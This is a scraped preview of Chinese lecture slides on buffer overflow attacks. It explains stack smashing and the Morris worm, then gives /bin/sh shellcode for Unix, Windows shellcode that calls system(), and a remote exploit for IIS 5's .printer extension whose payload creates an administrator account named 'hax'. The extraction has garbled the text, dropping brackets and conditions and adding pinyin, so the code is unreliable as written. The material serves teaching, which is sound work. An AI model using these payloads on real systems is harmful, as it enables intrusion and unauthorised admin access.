網(wǎng)絡(luò)安全5-緩沖區(qū)溢出攻擊課件_第1頁(yè)
網(wǎng)絡(luò)安全5-緩沖區(qū)溢出攻擊課件_第2頁(yè)
網(wǎng)絡(luò)安全5-緩沖區(qū)溢出攻擊課件_第3頁(yè)
網(wǎng)絡(luò)安全5-緩沖區(qū)溢出攻擊課件_第4頁(yè)
網(wǎng)絡(luò)安全5-緩沖區(qū)溢出攻擊課件_第5頁(yè)
已閱讀5頁(yè),還剩45頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、網(wǎng)絡(luò)安全羅 敏 第4章 拒絕服務(wù)攻擊 重點(diǎn)回顧拒絕服務(wù)攻擊概述拒絕服務(wù)攻擊分類服務(wù)端口攻擊電子郵件轟炸分布式拒絕服務(wù)攻擊DDoS第5章 緩沖區(qū)溢出攻擊本章介紹緩沖區(qū)溢出攻擊的原理,通過(guò)具體實(shí)例分析攻擊UNIX系統(tǒng)和攻擊WINDOWS系統(tǒng)的特點(diǎn)和方法。 第5章 緩沖區(qū)溢出攻擊5.1 緩沖區(qū)溢出攻擊的原理5.2 緩沖區(qū)溢出程序的原理及要素5.3 攻擊UNIX5.4 攻擊WINDOWS 緩沖區(qū)溢出攻擊的原理定義緩沖區(qū)溢出攻擊是一種通過(guò)往程序的緩沖區(qū)寫超出其長(zhǎng)度的內(nèi)容,造成緩沖區(qū)溢出,從而破壞程序的堆棧,使程序轉(zhuǎn)而執(zhí)行其他預(yù)設(shè)指令,以達(dá)到攻擊目的的攻擊方法 第5章 第1節(jié) 緩沖區(qū)溢出攻擊的原理Morr

2、is1988年,美國(guó)康奈爾大學(xué)的計(jì)算機(jī)科學(xué)系研究生、23歲的莫里斯利用Unix fingered程序不限制輸入長(zhǎng)度的漏洞,輸入512個(gè)字符后使緩沖器溢出,同時(shí)編寫一段特別大的惡意程序能以root(根)身份執(zhí)行,并感染到其他機(jī)器上。它造成全世界6000多臺(tái)網(wǎng)絡(luò)服務(wù)器癱瘓 第5章 第1節(jié) 緩沖區(qū)溢出程序原理及要素緩沖區(qū)溢出程序的原理 眾所周知,C語(yǔ)言不進(jìn)行數(shù)組的邊界檢查 在許多C語(yǔ)言實(shí)現(xiàn)的應(yīng)用程序中,都假定緩沖區(qū)的長(zhǎng)度是足夠的,即它的長(zhǎng)度肯定大于要拷貝的字符串的長(zhǎng)度 事實(shí)并非如此第5章 第2節(jié) 緩沖區(qū)溢出程序原理及要素緩沖區(qū)溢出程序的原理 程 序 段 數(shù) 據(jù) 段堆 棧第5章 第2節(jié) 緩沖區(qū)溢出程序

3、原理及要素緩沖區(qū)溢出程序的原理例 1 void proc(int i) int local;local=i;void main()proc(1);main:push1call procproc:pushebpmovebp,espsubesp,4moveax,ebp+08movebp-4,eaxaddesp,4popebpret4第5章 第2節(jié) 緩沖區(qū)溢出程序原理及要素緩沖區(qū)溢出程序的原理例 2void function(char *str) char buffer16; strcpy(buffer,str);void main() int t; char buffer128; for(i=0;

4、i127;i+) bufferi=A; buffer127=0; function(buffer); printf(This is a testn);第5章 第2節(jié) 緩沖區(qū)溢出程序原理及要素緩沖區(qū)溢出程序的原理例 2壓入堆棧中傳遞的參數(shù)返回地址少量存儲(chǔ)單元Buffer 16字節(jié)空間A A0 x41414141.16個(gè)A第5章 第2節(jié) 緩沖區(qū)溢出程序原理及要素為了執(zhí)行一段精心準(zhǔn)備的程序,需要4個(gè)步驟準(zhǔn)備一段SHELLCODE申請(qǐng)一個(gè)緩沖區(qū),并將機(jī)器碼填入緩沖區(qū)的低端估算機(jī)器碼在堆棧中的起始位置,并將這個(gè)位置寫入緩沖區(qū)的高端將這個(gè)緩沖區(qū)作為系統(tǒng)一個(gè)有著緩沖區(qū)溢出錯(cuò)誤的程序的一個(gè)入口參數(shù),并執(zhí)行這個(gè)

5、有錯(cuò)誤的程序 第5章 第2節(jié) 緩沖區(qū)溢出程序原理及要素關(guān)鍵技術(shù)在程序的地址空間安排適當(dāng)?shù)拇a 將控制程序轉(zhuǎn)移到攻擊代碼的方式Function Pointers Activation Records Longjmp buffers 植入碼和流程控制 可執(zhí)行的地址空間代碼段/數(shù)據(jù)段/堆棧段JVM第5章 第2節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 FreeBSD文件系統(tǒng)的路徑組織結(jié)構(gòu) / 根文件系統(tǒng),用于存儲(chǔ)系統(tǒng)內(nèi)核,啟動(dòng)管理和其他文件系統(tǒng)的裝載點(diǎn)。/bin 系統(tǒng)啟動(dòng)時(shí)需要的一些通用可執(zhí)行程序。/cdrom 光盤驅(qū)動(dòng)器的裝載點(diǎn)。/compat 與系統(tǒng)兼容有關(guān)的內(nèi)容,如系統(tǒng)模擬等。/dev 設(shè)備入口點(diǎn)。

6、在UNIX系統(tǒng)上,每個(gè)設(shè)備都作為一個(gè)文件來(lái)看待,這里放著所有系統(tǒng)能夠用到的各個(gè)設(shè)備/etc 各種配置文件。非常重要的一個(gè)目錄,所有的配置文件(可以看成是WINDOWS的注冊(cè)表)包括用戶密碼文檔等存放在這里/mnt 軟盤等其他文件系統(tǒng)的裝載點(diǎn)。/modules 內(nèi)核可裝載模塊。第5章 第3節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 文件系統(tǒng)的路徑組織結(jié)構(gòu)/proc 進(jìn)程文件系統(tǒng),存儲(chǔ)指向當(dāng)前活動(dòng)進(jìn)程的虛擬內(nèi)存的偽文件。/root root用戶的工作目錄。/sbin 系統(tǒng)可執(zhí)行文件。/stand 獨(dú)立執(zhí)行的程序,sysinstall就在這個(gè)目錄下。在安裝配置系統(tǒng)時(shí)用到/usr 第二個(gè)文件系統(tǒng)?;旧鲜呛?/p>

7、系統(tǒng)核心無(wú)關(guān)但又屬于操作系統(tǒng)的一部分的一個(gè)目錄,大多數(shù)的應(yīng)用程序,還有各用戶的私有資料存放在這個(gè)子系統(tǒng)/usr/bin 與系統(tǒng)啟動(dòng)無(wú)關(guān)的標(biāo)準(zhǔn)應(yīng)用程序。/usr/sbin 系統(tǒng)啟動(dòng)時(shí)不需要使用的一些系統(tǒng)管理程序。 /usr/games 游戲。/usr/home 用戶目錄。存放各個(gè)用戶自己的文件。第5章 第3節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 文件系統(tǒng)的路徑組織結(jié)構(gòu)/usr/include 程序需要的頭文件。/usr/lib 程序需要的庫(kù)文件。/usr/libexec 一些不由用戶直接運(yùn)行的執(zhí)行程序,如ftpd telnetd 等服務(wù)程序 /usr/man 幫助文件 /usr/X11R6 X-W

8、indows系統(tǒng)/usr/X11R6/bin 可執(zhí)行的X-Windows程序/usr/X11R6/include X-Windows程序的頭文件。/usr/X11R6/lib X-Windows程序的庫(kù)文件。/usr/X11R6/man X-Windows程序的幫助文件。第5章 第3節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 文件系統(tǒng)的路徑組織結(jié)構(gòu)/usr/share 各種共享的只讀文件,大多數(shù)是一些系統(tǒng)信息,文檔,包括有FreeBSD手冊(cè)等。/usr/local 第三個(gè)子文件系統(tǒng),不屬于FreeBSD一部分的其他程序。 /var 存儲(chǔ)經(jīng)常發(fā)生變化的文件,如郵件,日志等。/var/log 系統(tǒng)日志。

9、/var/mail 發(fā)給用戶的信件。/var/spool 緩沖數(shù)據(jù),如打印數(shù)據(jù)等。/var/tmp 臨時(shí)文件。第5章 第3節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 UNIX系統(tǒng)的文件屬性和存取權(quán)限 #ls -la# -rw-rw-rw- 1 root wheel 170 jan 7 19:46 mnk# -rw-r- 1 root wheel 18204 jan 8 20:34 nmap.tar.gz# -rwxr-xr- 1 candy user 1204 may 23 13:00 mysh.sh# drwx- 2 netdemon user 512 may 23 14:23 mydoc|-1-

10、|-2-|-3-|-4-|-5-|-6-|-7-|文件屬性/文件數(shù)量/所有者/所屬組/文件大小/文件修改時(shí)間/文件名第5章 第3節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 核與Shell的交互 啟動(dòng)登錄執(zhí)行命令退出第5章 第3節(jié) 攻擊UNIXUNIX操作系統(tǒng)簡(jiǎn)介 Shell的功能和特點(diǎn) 命令行解釋使用保留字使用Shell元字符(通配符)可處理程序命令使用輸入輸出重定向和管道維護(hù)變量運(yùn)行環(huán)境控制支持Shell編程第5章 第3節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 void main() char *name2;name0 = /bin/sh;name1 = NULL;exe

11、cve(name0, name, NULL);第5章 第3節(jié)Dump of assembler code for function main:0 x8000130 : pushl %ebp0 x8000131 :movl %esp,%ebp0 x8000133 : subl $0 x8,%esp0 x8000136 : movl $0 x80027b8,0 xfffffff8(%ebp)0 x800013d : movl $0 x0,0 xfffffffc(%ebp)0 x8000144 : pushl $0 x00 x8000146 : leal 0 xfffffff8(%ebp),%eax

12、0 x8000149 : pushl %eax0 x800014a : movl 0 xfffffff8(%ebp),%eax0 x800014d : pushl %eax0 x800014e : call 0 x80002bc 0 x8000153 : addl $0 xc,%esp0 x8000156 : movl %ebp,%esp0 x8000158 : popl %ebp0 x8000159 : ret第5章 第3節(jié)Dump of assembler code for function _execve:0 x80002bc : pushl %ebp0 x80002bd : movl

13、%esp,%ebp0 x80002bf : pushl %ebx0 x80002c0 : movl $0 xb,%eax0 x80002c5 : movl 0 x8(%ebp),%ebx0 x80002c8 : movl 0 xc(%ebp),%ecx0 x80002cb : movl 0 x10(%ebp),%edx0 x80002ce : int $0 x800 x80002d0 : movl %eax,%edx0 x80002d2 : testl %edx,%edx0 x80002d4 : jnl 0 x80002e6 第5章 第3節(jié)0 x80002d6 : negl %edx0 x80

14、002d8 : pushl %edx0 x80002d9 : call 0 x8001a34 0 x80002de : popl %edx0 x80002df : movl %edx,(%eax)0 x80002e1 : movl $0 xffffffff,%eax0 x80002e6 : popl %ebx0 x80002e7 : movl %ebp,%esp0 x80002e9 : popl %ebp0 x80002ea : ret0 x80002eb : nop第5章 第3節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 匯編語(yǔ)言程序leal string,string

15、_addrmovl $0 x0,null_addrmovl $0 xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0 x80stringdb/bin/sh,0string_addrdd0null_addrdd0第5章 第3節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 匯編語(yǔ)言程序相對(duì)偏移jmp 0 x20popl esimovb $0 x0,0 x7(%esi)movl %esi,0 x8(%esi)movl $0 x0,0 xC(%esi)movl $0 xb,%eax

16、movl %esi,%ebxleal 0 x8(%esi),%ecxleal 0 xC(%esi),%edxint $0 x80call -0 x25string db /bin/sh,0 string_addr dd 0null_addr dd 0 第5章 第3節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 匯編語(yǔ)言程序相對(duì)偏移 消除0void main() _asm_(jmp 0 x18/ # 2 bytespopl %esi/ # 1 bytemovl %esi,0 x8(%esi)/ # 3 bytesxorl %eax,%eax/ # 2 bytesmovb %e

17、ax,0 x7(%esi)/ # 3 bytesmovl %eax,0 xc(%esi)/ # 3 bytesmovb $0 xb,%al/ # 2 bytesmovl %esi,%ebx/ # 2 bytesleal 0 x8(%esi),%ecx/ # 3 bytesleal 0 xc(%esi),%edx/ # 3 bytesint$0 x80/ # 2 bytescall -0 x2d/ # 5 bytesstring /bin/sh/ # 8 bytes);第5章 第3節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 匯編語(yǔ)言程序相對(duì)偏移 消除0機(jī)器代碼xebx18

18、x5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh第5章 第3節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 匯編語(yǔ)言程序相對(duì)偏移 消除0機(jī)器代碼攻擊程序第5章 第3節(jié)char shellcode =xebx18x5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh;char large_str

19、ing128;void main()char buffer96;int i;long *long_ptr = (long *) large_string; /* long_ptr指向largestring的起始地址 */for(i=0;i32;i+) *(long_ptr+i)=(int)buffer; /* 用buffer的地址填充long_ptr */for(i=0;istrlen(shellcode);i+) large_stringi=shellcodei; /* 將ShellCode放在large_string*/strcpy(buffer,large_string); 第5章 第3

20、節(jié) 攻擊UNIX攻擊UNIX實(shí)例分析 Shell Code 的編寫 匯編語(yǔ)言程序相對(duì)偏移 消除0機(jī)器代碼攻擊程序NOP填充/嘗試地址第5章 第3節(jié) 攻擊WINDOWS與UNIX的不同WINDOWS系統(tǒng)的用戶進(jìn)程空間是0-2G,操作系統(tǒng)所占的空間為2-4G用戶進(jìn)程的加載位置為:0 x00400000這個(gè)進(jìn)程的所有指令地址,數(shù)據(jù)地址和堆棧指針都會(huì)含有0,那么我們的返回地址就必然含有0第5章 第4節(jié) 攻擊WINDOWS與UNIX的不同Shellcode 的模式NNNNSSSSAAAAAA NNNNAAAAAASSSS第5章 第4節(jié) 攻擊WINDOWS攻擊WINDOWS實(shí)例分析編寫Shellcode#

21、include#includetypedef void (*MYPROC)(LPSTR);int main() HINSTANCE LibHandle; MYPROC ProcAdd; Char dllbuf11=”msvcrt.dll”; Char sysbuf7=”system”; Char cmdbuf16=”; LibHandle=LoadLibrary(dllbuf); ProcAdd=(MYPROC)GetProcAddess(Libhandle,sysbuf); (PocAdd)(cmdbuf); return 0;第5章 第4節(jié) 攻擊WINDOWS攻擊WINDOWS實(shí)例分析編寫

22、Shellcode匯編程序第5章 第4節(jié)#include #include void main(void)LoadLibrary(msvcrt.dll);_asmmov esp, ebp/* 把ebp的內(nèi)容賦值給esp */push ebp/* 保存ebp,esp-4 */mov ebp, esp/* 給ebp賦新值,作為局部變量的基指針 */xor edi, edipush edi/* 壓入0,esp-4作用是構(gòu)造字符串的結(jié)尾0字符。*/sub esp, 08h/* 加上上面,共有12個(gè)字節(jié),用來(lái)存放 */mov byte ptrebp - 0ch, 63hmov byte ptrebp -

23、 0bh, 6fh第5章 第4節(jié)mov byte ptrebp - 0ah, 6dhmov byte ptrebp - 09h, 6Dhmov byte ptrebp - 08h, 61hmov byte ptrebp - 07h, 6ehmov byte ptrebp - 06h, 64hmov byte ptrebp - 05h, 2Ehmov byte ptrebp - 04h, 63hmov byte ptrebp - 03h, 6fhmov byte ptrebp - 02h, 6dh/* 生成串 */lea eax, ebp - 0chpush eax/* 串地址作為參數(shù)入棧 */

24、mov eax, 0 x78019824call eax/* 調(diào)用system */第5章 第4節(jié) 攻擊WINDOWS攻擊WINDOWS實(shí)例分析編寫Shellcode匯編程序機(jī)器代碼第5章 第4節(jié)char shellcode=0 x8B,0 xEC,/* mov esp,ebp */0 x55,/* push ebp */0 x8B,0 xEC,0 x0C,/* sub esp,0000000C */0 xB8,0 x63,0 x6F,0 x6d,/* mov eax,6D6D6F63 */ 0 x89,0 x45,0 xF4,/* mov dword ptrebp-0C,eax */0 xB

25、8,0 x61,0 x6E,0 x64,0 x2E,/* mov eax,2E646E61 */0 x89,0 x45,0 xF8,/*mov dword ptrebp-08,eax */0 xB8,0 x63,0 x6F,0 x6D,0 x22,/* mov eax,226D6F63 */0 x89,0 x45,0 xFC,/* mov dword ptrebp-04,eax */0 x33,0 xD2,/* xor edx,edx */0 x88,0 x55,0 xFF,/* mov byte ptrebp-01,dl */0 x8D,0 x45,0 xF4,/* lea eax,dwor

26、d ptrebp-0C */0 x50,/* push eax */0 xB8,0 x24,0 x98,0 x01,0 x78,/* mov eax,78019824 */oxFF,0 xD0/* call eax */; 第5章 第4節(jié) 攻擊WINDOWS攻擊WINDOWS實(shí)例分析編寫Shellcode匯編程序機(jī)器代碼攻擊WINDOWS 2000 IIS 5 ISAPI msw3prt.dll 攻擊程序第5章 第4節(jié)#include #include #include #include #include void usage(void)printf(ncniis-IIS5 Chinese v

27、ersion.printer remote exploitn);printf(Usage:cniisn);exit(1);第5章 第4節(jié)main(int argc, char *argv)/* 這段Shellcode所做的就是把net user hax hax/add&net localgroup Administrators hax/add壓入堆棧, 然后調(diào)用system()來(lái)執(zhí)行上面的命令, 即增添一個(gè)管理員帳號(hào)hax */unsigned charshellcode = x55x53x8BxECx33xDBx53x83xECx3CxB8x6Ex65x74x20 x89x45xC3xB8x

28、75x73x65x72x89x45xC7xB8x20 x68x61x78x89x45xCBx89x45xCFxB8x20 x2Fx61x64x89x45xD3xB8x64x26x6Ex65x89x45xD7xB8x74x20 x6Cx6Fx89x45xDBxB8x63x61x6Cx67x89x45xDFxB8x72x6Fx75x70 x89x45xE3xB8x20 x41x64x6Dx89x45xE7xB8x69x6Ex69x73x89x45xEBxB8x74x72x61x74x89x45xEFxB8x6Fx72x73x20 x89x45xF3xB8x68x61x78x20 x89x45xF7

29、xB8x2F61x64x64x89x45xFBx8Dx45xC3x50 xB8xADxAAx01x78xFFxD0 x8BxE5x5Bx5Dx03x03x03;第5章 第4節(jié)charrequest = GET/NULL.printer HTTP/1.0;charsploit857;char*finger;inti, X, sock;unsigned shortserverport = htons(80);struct hostent*nametocheck;struct sockaddr_inserv_addr;struct in_addrattack;WORDwerd;WSADATAwsd;

30、第5章 第4節(jié)werd = MAKEWORD(2, 0);WSAStartup(werd, &wsd);if(argc h_addr_list0, 4);memcpy(sploit, request, 26);finger = &sploit26;*(finger+) = 0 x0d;*(finger+) = 0 x0a;*(finger+) = H;*(finger+) = o;*(finger+) = s;*(finger+) = t;*(finger+) = :;*(finger+) = ;第5章 第4節(jié)/* 溢出串放在Host:后面 */for(i = 0; i 268; i+) *(finger+) = (char) 0 x90;*(finger+) = (char) 0 x2a;*(finger+) = (char) 0 xe3;*(finger+) = (char) 0 xe2;*(finger+) = (char) 0 x77;/* 這里就User32.dll(5.0.2180.1)中jmp esp的位置, 用它來(lái)覆蓋返回地址 */第5章 第4節(jié)/*

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論